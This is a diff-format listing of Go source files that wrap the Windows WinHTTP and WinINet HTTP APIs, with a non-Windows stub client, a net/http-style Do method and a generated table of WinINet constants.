var pswzHeader uintptr
|
||||
var tmp *uint16
|
||||
|
||||
if header == "" {
|
||||
// Weird, just do nothing
|
||||
return nil
|
||||
}
|
||||
|
||||
header = strings.TrimSpace(header) + "\r\n"
|
||||
|
||||
// Convert to Windows types
|
||||
if tmp, e = windows.UTF16PtrFromString(header); e != nil {
|
||||
return convertFail(header, e)
|
||||
}
|
||||
|
||||
pswzHeader = uintptr(unsafe.Pointer(tmp))
|
||||
|
||||
ok, _, e = winhttp.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
pswzHeader,
|
||||
uintptr(len(header)),
|
||||
addMethod,
|
||||
)
|
||||
if ok == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Connect is WinHttpConnect from winhttp.h
|
||||
func Connect(
|
||||
sessionHndl uintptr,
|
||||
serverName string,
|
||||
serverPort int,
|
||||
) (uintptr, error) {
|
||||
var connHndl uintptr
|
||||
var e error
|
||||
var proc string = "WinHttpConnect"
|
||||
var pswzServerName uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if serverName != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(serverName); e != nil {
|
||||
return 0, convertFail(serverName, e)
|
||||
}
|
||||
|
||||
pswzServerName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
connHndl, _, e = winhttp.NewProc(proc).Call(
|
||||
sessionHndl,
|
||||
pswzServerName,
|
||||
uintptr(serverPort),
|
||||
0,
|
||||
)
|
||||
if connHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return connHndl, nil
|
||||
}
|
||||
|
||||
// Open is WinHttpOpen from winhttp.h
|
||||
func Open(
|
||||
userAgent string,
|
||||
accessType uintptr,
|
||||
proxy string,
|
||||
proxyBypass string,
|
||||
flags uintptr,
|
||||
) (uintptr, error) {
|
||||
var e error
|
||||
var proc string = "WinHttpOpen"
|
||||
var pszAgent uintptr
|
||||
var pszProxy uintptr
|
||||
var pszProxyBypass uintptr
|
||||
var sessionHndl uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if userAgent != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(userAgent); e != nil {
|
||||
return 0, convertFail(userAgent, e)
|
||||
}
|
||||
|
||||
pszAgent = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if proxy != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(proxy); e != nil {
|
||||
return 0, convertFail(proxy, e)
|
||||
}
|
||||
|
||||
pszProxy = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if proxyBypass != "" {
|
||||
tmp, e = windows.UTF16PtrFromString(proxyBypass)
|
||||
if e != nil {
|
||||
return 0, convertFail(proxyBypass, e)
|
||||
}
|
||||
|
||||
pszProxyBypass = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
sessionHndl, _, e = winhttp.NewProc(proc).Call(
|
||||
pszAgent,
|
||||
accessType,
|
||||
pszProxy,
|
||||
pszProxyBypass,
|
||||
flags,
|
||||
)
|
||||
if sessionHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return sessionHndl, nil
|
||||
}
|
||||
|
||||
// OpenRequest is WinHttpOpenRequest from winhttp.h
|
||||
func OpenRequest(
|
||||
connHndl uintptr,
|
||||
verb string,
|
||||
objectName string,
|
||||
version string,
|
||||
referrer string,
|
||||
acceptTypes []string,
|
||||
flags uintptr,
|
||||
) (uintptr, error) {
|
||||
var e error
|
||||
var ppwszAcceptTypes []*uint16
|
||||
var proc string = "WinHttpOpenRequest"
|
||||
var pwszObjectName uintptr
|
||||
var pwszReferrer uintptr
|
||||
var pwszVerb uintptr
|
||||
var pwszVersion uintptr
|
||||
var reqHndl uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
ppwszAcceptTypes = make([]*uint16, 1)
|
||||
for _, theType := range acceptTypes {
|
||||
if theType == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
tmp, e = windows.UTF16PtrFromString(theType)
|
||||
if e != nil {
|
||||
return 0, convertFail(theType, e)
|
||||
}
|
||||
|
||||
ppwszAcceptTypes = append(ppwszAcceptTypes, tmp)
|
||||
}
|
||||
|
||||
if objectName != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(objectName); e != nil {
|
||||
return 0, convertFail(objectName, e)
|
||||
}
|
||||
|
||||
pwszObjectName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if referrer != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(referrer); e != nil {
|
||||
return 0, convertFail(referrer, e)
|
||||
}
|
||||
|
||||
pwszReferrer = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if verb != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(verb); e != nil {
|
||||
return 0, convertFail(verb, e)
|
||||
}
|
||||
|
||||
pwszVerb = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if version != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(version); e != nil {
|
||||
return 0, convertFail(version, e)
|
||||
}
|
||||
|
||||
pwszVersion = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
reqHndl, _, e = winhttp.NewProc(proc).Call(
|
||||
connHndl,
|
||||
pwszVerb,
|
||||
pwszObjectName,
|
||||
pwszVersion,
|
||||
pwszReferrer,
|
||||
uintptr(unsafe.Pointer(&ppwszAcceptTypes[0])),
|
||||
flags,
|
||||
)
|
||||
if reqHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return reqHndl, nil
|
||||
}
|
||||
|
||||
// QueryDataAvailable is WinHttpQueryDataAvailable from winhttp.h
|
||||
func QueryDataAvailable(reqHndl uintptr, bytesToRead *int64) error {
|
||||
var e error
|
||||
var proc string = "WinHttpQueryDataAvailable"
|
||||
var success uintptr
|
||||
|
||||
success, _, e = winhttp.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
uintptr(unsafe.Pointer(bytesToRead)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// QueryHeaders is WinHttpQueryHeaders from winhttp.h
|
||||
func QueryHeaders(
|
||||
reqHndl uintptr,
|
||||
info uintptr,
|
||||
name string,
|
||||
buffer *[]byte,
|
||||
bufferLen *int,
|
||||
index *int,
|
||||
) error {
|
||||
var b []uint16
|
||||
var e error
|
||||
var proc string = "WinHttpQueryHeaders"
|
||||
var pwszName uintptr
|
||||
var success uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if *bufferLen > 0 {
|
||||
b = make([]uint16, *bufferLen)
|
||||
} else {
|
||||
b = make([]uint16, 1)
|
||||
}
|
||||
|
||||
if (name != "") && (info == WinhttpQueryCustom) {
|
||||
if tmp, e = windows.UTF16PtrFromString(name); e != nil {
|
||||
return convertFail(name, e)
|
||||
}
|
||||
|
||||
pwszName = uintptr(unsafe.Pointer(tmp))
|
||||
} else {
|
||||
pwszName = WinhttpHeaderNameByIndex
|
||||
}
|
||||
|
||||
success, _, e = winhttp.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
info,
|
||||
pwszName,
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(unsafe.Pointer(bufferLen)),
|
||||
uintptr(unsafe.Pointer(index)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
*buffer = []byte(windows.UTF16ToString(b))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadData is WinHttpReadData from winhttp.h
|
||||
func ReadData(
|
||||
reqHndl uintptr,
|
||||
buffer *[]byte,
|
||||
bytesToRead int64,
|
||||
bytesRead *int64,
|
||||
) error {
|
||||
var b []byte
|
||||
var e error
|
||||
var proc string = "WinHttpReadData"
|
||||
var success uintptr
|
||||
|
||||
if bytesToRead > 0 {
|
||||
b = make([]byte, bytesToRead)
|
||||
} else {
|
||||
b = make([]byte, 1)
|
||||
}
|
||||
|
||||
success, _, e = winhttp.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(bytesToRead),
|
||||
uintptr(unsafe.Pointer(bytesRead)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
*buffer = b
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReceiveResponse is WinHttpReceiveResponse from winhttp.h
|
||||
func ReceiveResponse(reqHndl uintptr) error {
|
||||
var e error
|
||||
var proc string = "WinHttpReceiveResponse"
|
||||
var success uintptr
|
||||
|
||||
success, _, e = winhttp.NewProc(proc).Call(reqHndl, 0)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SendRequest is WinHttpSendRequest from winhttp.h
|
||||
func SendRequest(
|
||||
reqHndl uintptr,
|
||||
headers string,
|
||||
headersLen int,
|
||||
data []byte,
|
||||
dataLen int,
|
||||
) error {
|
||||
var body uintptr
|
||||
var e error
|
||||
var proc string = "WinHttpSendRequest"
|
||||
var pwszHeaders uintptr
|
||||
var success uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Pointer to data if provided
|
||||
if (data != nil) && (len(data) > 0) {
|
||||
body = uintptr(unsafe.Pointer(&data[0]))
|
||||
}
|
||||
|
||||
// Convert to Windows types
|
||||
if headers != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(headers); e != nil {
|
||||
return convertFail(headers, e)
|
||||
}
|
||||
|
||||
pwszHeaders = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
success, _, e = winhttp.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
pwszHeaders,
|
||||
uintptr(headersLen),
|
||||
body,
|
||||
uintptr(dataLen),
|
||||
uintptr(dataLen),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetOption is WinHttpSetOption from winhttp.h
|
||||
func SetOption(hndl, opt uintptr, val []byte, valLen int) error {
|
||||
var e error
|
||||
var proc string = "WinHttpSetOption"
|
||||
var success uintptr
|
||||
|
||||
// Pointer to data if provided
|
||||
if valLen == 0 {
|
||||
val = make([]byte, 1)
|
||||
}
|
||||
|
||||
success, _, e = winhttp.NewProc(proc).Call(
|
||||
hndl,
|
||||
opt,
|
||||
uintptr(unsafe.Pointer(&val[0])),
|
||||
uintptr(valLen),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package http
|
||||
|
||||
import "errors"
|
||||
|
||||
// Client is an empty struct, if not Windows.
|
||||
type Client struct{}
|
||||
|
||||
// NewClient is only supported on Windows.
|
||||
func NewClient() (*Client, error) {
|
||||
return &Client{}, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Do is only supported on Windows.
|
||||
func (c *Client) Do(r *Request) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Get is only supported on Windows.
|
||||
func (c *Client) Get(url string) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Head is only supported on Windows.
|
||||
func (c *Client) Head(url string) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Post is only supported on Windows.
|
||||
func (c *Client) Post(
|
||||
url string,
|
||||
contentType string,
|
||||
body []byte,
|
||||
) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Client is a struct containing relevant metadata to make HTTP
|
||||
// requests.
|
||||
type Client struct {
|
||||
handle uintptr
|
||||
Timeout time.Duration
|
||||
TLSClientConfig struct {
|
||||
InsecureSkipVerify bool
|
||||
}
|
||||
}
|
||||
|
||||
// NewClient will return a pointer to a new Client instance that
|
||||
// simply wraps the net/http.Client type.
|
||||
func NewClient(userAgent string) (*Client, error) {
|
||||
var client = &Client{}
|
||||
var err error
|
||||
|
||||
// Create session
|
||||
client.handle, err = InternetOpenW(
|
||||
userAgent,
|
||||
InternetOpenTypePreconfig,
|
||||
"",
|
||||
"",
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create session: %w", err)
|
||||
}
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// Do will send the HTTP request and return an HTTP response.
|
||||
func (c *Client) Do(request *http.Request) (*http.Response, error) {
|
||||
var buf []byte
|
||||
var err error
|
||||
var reqHandle uintptr
|
||||
var resp *Response
|
||||
|
||||
var rawBody []byte
|
||||
if request.Body != nil {
|
||||
rawBody, err = ioutil.ReadAll(request.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read request body: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
headers := make(map[string]string)
|
||||
for headerName, headerValue := range request.Header {
|
||||
if 0 < len(headerValue) {
|
||||
headers[headerName] = headerValue[0]
|
||||
}
|
||||
}
|
||||
req := &Request{
|
||||
Method: request.Method,
|
||||
URL: request.URL.String(),
|
||||
Headers: headers,
|
||||
Body: rawBody,
|
||||
}
|
||||
|
||||
if reqHandle, err = buildRequest(c.handle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if c.Timeout > 0 {
|
||||
buf = make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(
|
||||
buf,
|
||||
uint32(c.Timeout.Milliseconds()),
|
||||
)
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionConnectTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set connect timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionReceiveTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set receive timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionSendTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set send timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if c.TLSClientConfig.InsecureSkipVerify {
|
||||
buf = make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(
|
||||
buf,
|
||||
uint32(SecuritySetMask),
|
||||
)
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionSecurityFlags,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set security flags: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if err = sendRequest(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if resp, err = buildResponse(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &http.Response{
|
||||
Status: resp.Status,
|
||||
StatusCode: resp.StatusCode,
|
||||
Proto: "HTTP/1.1",
|
||||
ProtoMajor: 1,
|
||||
ProtoMinor: 1,
|
||||
Body: resp.Body,
|
||||
ContentLength: resp.ContentLength,
|
||||
Request: request,
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package wininet
|
||||
|
||||
// Cookie represents an HTTP cookie sent in the Cookie header of an
|
||||
// HTTP Request.
|
||||
type Cookie struct {
|
||||
Name string
|
||||
Value string
|
||||
}
|
||||
@@ -0,0 +1,706 @@
|
||||
// Code generated by tools/defines.go; DO NOT EDIT.
|
||||
package wininet
|
||||
|
||||
const (
|
||||
InternetInvalidPortNumber uintptr = 0
|
||||
InternetDefaultFtpPort uintptr = 21
|
||||
InternetDefaultGopherPort uintptr = 70
|
||||
InternetDefaultHTTPPort uintptr = 80
|
||||
InternetDefaultHTTPsPort uintptr = 443
|
||||
InternetDefaultSocksPort uintptr = 1080
|
||||
InternetMaxHostNameLength uintptr = 256
|
||||
InternetMaxUserNameLength uintptr = 128
|
||||
InternetMaxPasswordLength uintptr = 128
|
||||
InternetMaxPortNumberLength uintptr = 5
|
||||
InternetMaxPortNumberValue uintptr = 65535
|
||||
InternetMaxPathLength uintptr = 2048
|
||||
InternetMaxSchemeLength uintptr = 32
|
||||
InternetMaxUrlLength uintptr = (InternetMaxSchemeLength + uintptr(len("://")) + InternetMaxPathLength)
|
||||
InternetKeepAliveEnabled uintptr = 1
|
||||
InternetKeepAliveDisabled uintptr = 0
|
||||
InternetReqflagFromCache uintptr = 0x00000001
|
||||
InternetReqflagAsync uintptr = 0x00000002
|
||||
InternetReqflagViaProxy uintptr = 0x00000004
|
||||
InternetReqflagNoHeaders uintptr = 0x00000008
|
||||
InternetReqflagPassive uintptr = 0x00000010
|
||||
InternetReqflagCacheWriteDisabled uintptr = 0x00000040
|
||||
InternetReqflagNetTimeout uintptr = 0x00000080
|
||||
InternetFlagReload uintptr = 0x80000000
|
||||
InternetFlagRawData uintptr = 0x40000000
|
||||
InternetFlagExistingConnect uintptr = 0x20000000
|
||||
InternetFlagAsync uintptr = 0x10000000
|
||||
InternetFlagPassive uintptr = 0x08000000
|
||||
InternetFlagNoCacheWrite uintptr = 0x04000000
|
||||
InternetFlagDontCache uintptr = InternetFlagNoCacheWrite
|
||||
InternetFlagMakePersistent uintptr = 0x02000000
|
||||
InternetFlagFromCache uintptr = 0x01000000
|
||||
InternetFlagOffline uintptr = InternetFlagFromCache
|
||||
InternetFlagSecure uintptr = 0x00800000
|
||||
InternetFlagKeepConnection uintptr = 0x00400000
|
||||
InternetFlagNoAutoRedirect uintptr = 0x00200000
|
||||
InternetFlagReadPrefetch uintptr = 0x00100000
|
||||
InternetFlagNoCookies uintptr = 0x00080000
|
||||
InternetFlagNoAuth uintptr = 0x00040000
|
||||
InternetFlagRestrictedZone uintptr = 0x00020000
|
||||
InternetFlagCacheIfNetFail uintptr = 0x00010000
|
||||
InternetFlagIgnoreRedirectToHTTP uintptr = 0x00008000
|
||||
InternetFlagIgnoreRedirectToHTTPs uintptr = 0x00004000
|
||||
InternetFlagIgnoreCertDateInvalid uintptr = 0x00002000
|
||||
InternetFlagIgnoreCertCnInvalid uintptr = 0x00001000
|
||||
InternetFlagResynchronize uintptr = 0x00000800
|
||||
InternetFlagHyperlink uintptr = 0x00000400
|
||||
InternetFlagNoUi uintptr = 0x00000200
|
||||
InternetFlagPragmaNocache uintptr = 0x00000100
|
||||
InternetFlagCacheAsync uintptr = 0x00000080
|
||||
InternetFlagFormsSubmit uintptr = 0x00000040
|
||||
InternetFlagFwdBack uintptr = 0x00000020
|
||||
InternetFlagNeedFile uintptr = 0x00000010
|
||||
InternetFlagMustCacheRequest uintptr = InternetFlagNeedFile
|
||||
InternetFlagTransferAscii uintptr = FtpTransferTypeAscii
|
||||
InternetFlagTransferBinary uintptr = FtpTransferTypeBinary
|
||||
SecurityInternetMask uintptr = (InternetFlagIgnoreCertCnInvalid | InternetFlagIgnoreCertDateInvalid | InternetFlagIgnoreRedirectToHTTPs | InternetFlagIgnoreRedirectToHTTP)
|
||||
InternetFlagsMask uintptr = (InternetFlagReload | InternetFlagRawData | InternetFlagExistingConnect | InternetFlagAsync | InternetFlagPassive | InternetFlagNoCacheWrite | InternetFlagMakePersistent | InternetFlagFromCache | InternetFlagSecure | InternetFlagKeepConnection | InternetFlagNoAutoRedirect | InternetFlagReadPrefetch | InternetFlagNoCookies | InternetFlagNoAuth | InternetFlagCacheIfNetFail | SecurityInternetMask | InternetFlagResynchronize | InternetFlagHyperlink | InternetFlagNoUi | InternetFlagPragmaNocache | InternetFlagCacheAsync | InternetFlagFormsSubmit | InternetFlagNeedFile | InternetFlagRestrictedZone | InternetFlagTransferBinary | InternetFlagTransferAscii | InternetFlagFwdBack)
|
||||
InternetErrorMaskInsertCdrom uintptr = 0x1
|
||||
InternetErrorMaskCombinedSecCert uintptr = 0x2
|
||||
InternetErrorMaskNeedMsnSspiPkg uintptr = 0x4
|
||||
InternetErrorMaskLoginFailureDisplayEntityBody uintptr = 0x8
|
||||
WininetApiFlagAsync uintptr = 0x00000001
|
||||
WininetApiFlagSync uintptr = 0x00000004
|
||||
WininetApiFlagUseContext uintptr = 0x00000008
|
||||
InternetNoCallback uintptr = 0
|
||||
IdsiFlagKeepAlive uintptr = 0x00000001
|
||||
IdsiFlagSecure uintptr = 0x00000002
|
||||
IdsiFlagProxy uintptr = 0x00000004
|
||||
IdsiFlagTunnel uintptr = 0x00000008
|
||||
InternetPerConnFlags uintptr = 1
|
||||
InternetPerConnProxyServer uintptr = 2
|
||||
InternetPerConnProxyBypass uintptr = 3
|
||||
InternetPerConnAutoconfigUrl uintptr = 4
|
||||
InternetPerConnAutodiscoveryFlags uintptr = 5
|
||||
InternetPerConnAutoconfigSecondaryUrl uintptr = 6
|
||||
InternetPerConnAutoconfigReloadDelayMins uintptr = 7
|
||||
InternetPerConnAutoconfigLastDetectTime uintptr = 8
|
||||
InternetPerConnAutoconfigLastDetectUrl uintptr = 9
|
||||
InternetPerConnFlagsUi uintptr = 10
|
||||
ProxyTypeDirect uintptr = 0x00000001
|
||||
ProxyTypeProxy uintptr = 0x00000002
|
||||
ProxyTypeAutoProxyUrl uintptr = 0x00000004
|
||||
ProxyTypeAutoDetect uintptr = 0x00000008
|
||||
AutoProxyFlagUserSet uintptr = 0x00000001
|
||||
AutoProxyFlagAlwaysDetect uintptr = 0x00000002
|
||||
AutoProxyFlagDetectionRun uintptr = 0x00000004
|
||||
AutoProxyFlagMigrated uintptr = 0x00000008
|
||||
AutoProxyFlagDontCacheProxyResult uintptr = 0x00000010
|
||||
AutoProxyFlagCacheInitRun uintptr = 0x00000020
|
||||
AutoProxyFlagDetectionSuspect uintptr = 0x00000040
|
||||
IsoForceDisconnected uintptr = 0x00000001
|
||||
InternetRfc1123Format uintptr = 0
|
||||
InternetRfc1123Bufsize uintptr = 30
|
||||
IcuEscape uintptr = 0x80000000
|
||||
IcuUsername uintptr = 0x40000000
|
||||
IcuNoEncode uintptr = 0x20000000
|
||||
IcuDecode uintptr = 0x10000000
|
||||
IcuNoMeta uintptr = 0x08000000
|
||||
IcuEncodeSpacesOnly uintptr = 0x04000000
|
||||
IcuBrowserMode uintptr = 0x02000000
|
||||
IcuEncodePercent uintptr = 0x00001000
|
||||
InternetOpenTypePreconfig uintptr = 0
|
||||
InternetOpenTypeDirect uintptr = 1
|
||||
InternetOpenTypeProxy uintptr = 3
|
||||
InternetOpenTypePreconfigWithNoAutoproxy uintptr = 4
|
||||
PreConfigInternetAccess uintptr = InternetOpenTypePreconfig
|
||||
LocalInternetAccess uintptr = InternetOpenTypeDirect
|
||||
CernProxyInternetAccess uintptr = InternetOpenTypeProxy
|
||||
InternetServiceFtp uintptr = 1
|
||||
InternetServiceGopher uintptr = 2
|
||||
InternetServiceHTTP uintptr = 3
|
||||
IrfAsync uintptr = WininetApiFlagAsync
|
||||
IrfSync uintptr = WininetApiFlagSync
|
||||
IrfUseContext uintptr = WininetApiFlagUseContext
|
||||
IrfNoWait uintptr = 0x00000008
|
||||
IsoGlobal uintptr = 0x00000001
|
||||
IsoRegistry uintptr = 0x00000002
|
||||
IsoValidFlags uintptr = (IsoGlobal | IsoRegistry)
|
||||
InternetOptionCallback uintptr = 1
|
||||
InternetOptionConnectTimeout uintptr = 2
|
||||
InternetOptionConnectRetries uintptr = 3
|
||||
InternetOptionConnectBackoff uintptr = 4
|
||||
InternetOptionSendTimeout uintptr = 5
|
||||
InternetOptionControlSendTimeout uintptr = InternetOptionSendTimeout
|
||||
InternetOptionReceiveTimeout uintptr = 6
|
||||
InternetOptionControlReceiveTimeout uintptr = InternetOptionReceiveTimeout
|
||||
InternetOptionDataSendTimeout uintptr = 7
|
||||
InternetOptionDataReceiveTimeout uintptr = 8
|
||||
InternetOptionHandleType uintptr = 9
|
||||
InternetOptionListenTimeout uintptr = 11
|
||||
InternetOptionReadBufferSize uintptr = 12
|
||||
InternetOptionWriteBufferSize uintptr = 13
|
||||
InternetOptionAsyncId uintptr = 15
|
||||
InternetOptionAsyncPriority uintptr = 16
|
||||
InternetOptionParentHandle uintptr = 21
|
||||
InternetOptionKeepConnection uintptr = 22
|
||||
InternetOptionRequestFlags uintptr = 23
|
||||
InternetOptionExtendedError uintptr = 24
|
||||
InternetOptionOfflineMode uintptr = 26
|
||||
InternetOptionCacheStreamHandle uintptr = 27
|
||||
InternetOptionUsername uintptr = 28
|
||||
InternetOptionPassword uintptr = 29
|
||||
InternetOptionAsync uintptr = 30
|
||||
InternetOptionSecurityFlags uintptr = 31
|
||||
InternetOptionSecurityCertificateStruct uintptr = 32
|
||||
InternetOptionDatafileName uintptr = 33
|
||||
InternetOptionUrl uintptr = 34
|
||||
InternetOptionSecurityCertificate uintptr = 35
|
||||
InternetOptionSecurityKeyBitness uintptr = 36
|
||||
InternetOptionRefresh uintptr = 37
|
||||
InternetOptionProxy uintptr = 38
|
||||
InternetOptionSettingsChanged uintptr = 39
|
||||
InternetOptionVersion uintptr = 40
|
||||
InternetOptionUserAgent uintptr = 41
|
||||
InternetOptionEndBrowserSession uintptr = 42
|
||||
InternetOptionProxyUsername uintptr = 43
|
||||
InternetOptionProxyPassword uintptr = 44
|
||||
InternetOptionContextValue uintptr = 45
|
||||
InternetOptionConnectLimit uintptr = 46
|
||||
InternetOptionSecuritySelectClientCert uintptr = 47
|
||||
InternetOptionPolicy uintptr = 48
|
||||
InternetOptionDisconnectedTimeout uintptr = 49
|
||||
InternetOptionConnectedState uintptr = 50
|
||||
InternetOptionIdleState uintptr = 51
|
||||
InternetOptionOfflineSemantics uintptr = 52
|
||||
InternetOptionSecondaryCacheKey uintptr = 53
|
||||
InternetOptionCallbackFilter uintptr = 54
|
||||
InternetOptionConnectTime uintptr = 55
|
||||
InternetOptionSendThroughput uintptr = 56
|
||||
InternetOptionReceiveThroughput uintptr = 57
|
||||
InternetOptionRequestPriority uintptr = 58
|
||||
InternetOptionHTTPVersion uintptr = 59
|
||||
InternetOptionResetUrlcacheSession uintptr = 60
|
||||
InternetOptionErrorMask uintptr = 62
|
||||
InternetOptionFromCacheTimeout uintptr = 63
|
||||
InternetOptionBypassEditedEntry uintptr = 64
|
||||
InternetOptionDiagnosticSocketInfo uintptr = 67
|
||||
InternetOptionCodepage uintptr = 68
|
||||
InternetOptionCacheTimestamps uintptr = 69
|
||||
InternetOptionDisableAutodial uintptr = 70
|
||||
InternetOptionMaxConnsPerServer uintptr = 73
|
||||
InternetOptionMaxConnsPer10Server uintptr = 74
|
||||
InternetOptionPerConnectionOption uintptr = 75
|
||||
InternetOptionDigestAuthUnload uintptr = 76
|
||||
InternetOptionIgnoreOffline uintptr = 77
|
||||
InternetOptionIdentity uintptr = 78
|
||||
InternetOptionRemoveIdentity uintptr = 79
|
||||
InternetOptionAlterIdentity uintptr = 80
|
||||
InternetOptionSuppressBehavior uintptr = 81
|
||||
InternetOptionAutodialMode uintptr = 82
|
||||
InternetOptionAutodialConnection uintptr = 83
|
||||
InternetOptionClientCertContext uintptr = 84
|
||||
InternetOptionAuthFlags uintptr = 85
|
||||
InternetOptionCookies3rdParty uintptr = 86
|
||||
InternetOptionDisablePassportAuth uintptr = 87
|
||||
InternetOptionSendUtf8ServernameToProxy uintptr = 88
|
||||
InternetOptionExemptConnectionLimit uintptr = 89
|
||||
InternetOptionEnablePassportAuth uintptr = 90
|
||||
InternetOptionHibernateInactiveWorkerThreads uintptr = 91
|
||||
InternetOptionActivateWorkerThreads uintptr = 92
|
||||
InternetOptionRestoreWorkerThreadDefaults uintptr = 93
|
||||
InternetOptionSocketSendBufferLength uintptr = 94
|
||||
InternetOptionProxySettingsChanged uintptr = 95
|
||||
InternetOptionDatafileExt uintptr = 96
|
||||
InternetFirstOption uintptr = InternetOptionCallback
|
||||
InternetLastOption uintptr = InternetOptionDatafileExt
|
||||
InternetPriorityForeground uintptr = 1000
|
||||
InternetHandleTypeInternet uintptr = 1
|
||||
InternetHandleTypeConnectFtp uintptr = 2
|
||||
InternetHandleTypeConnectGopher uintptr = 3
|
||||
InternetHandleTypeConnectHTTP uintptr = 4
|
||||
InternetHandleTypeFtpFind uintptr = 5
|
||||
InternetHandleTypeFtpFindHtml uintptr = 6
|
||||
InternetHandleTypeFtpFile uintptr = 7
|
||||
InternetHandleTypeFtpFileHtml uintptr = 8
|
||||
InternetHandleTypeGopherFind uintptr = 9
|
||||
InternetHandleTypeGopherFindHtml uintptr = 10
|
||||
InternetHandleTypeGopherFile uintptr = 11
|
||||
InternetHandleTypeGopherFileHtml uintptr = 12
|
||||
InternetHandleTypeHTTPRequest uintptr = 13
|
||||
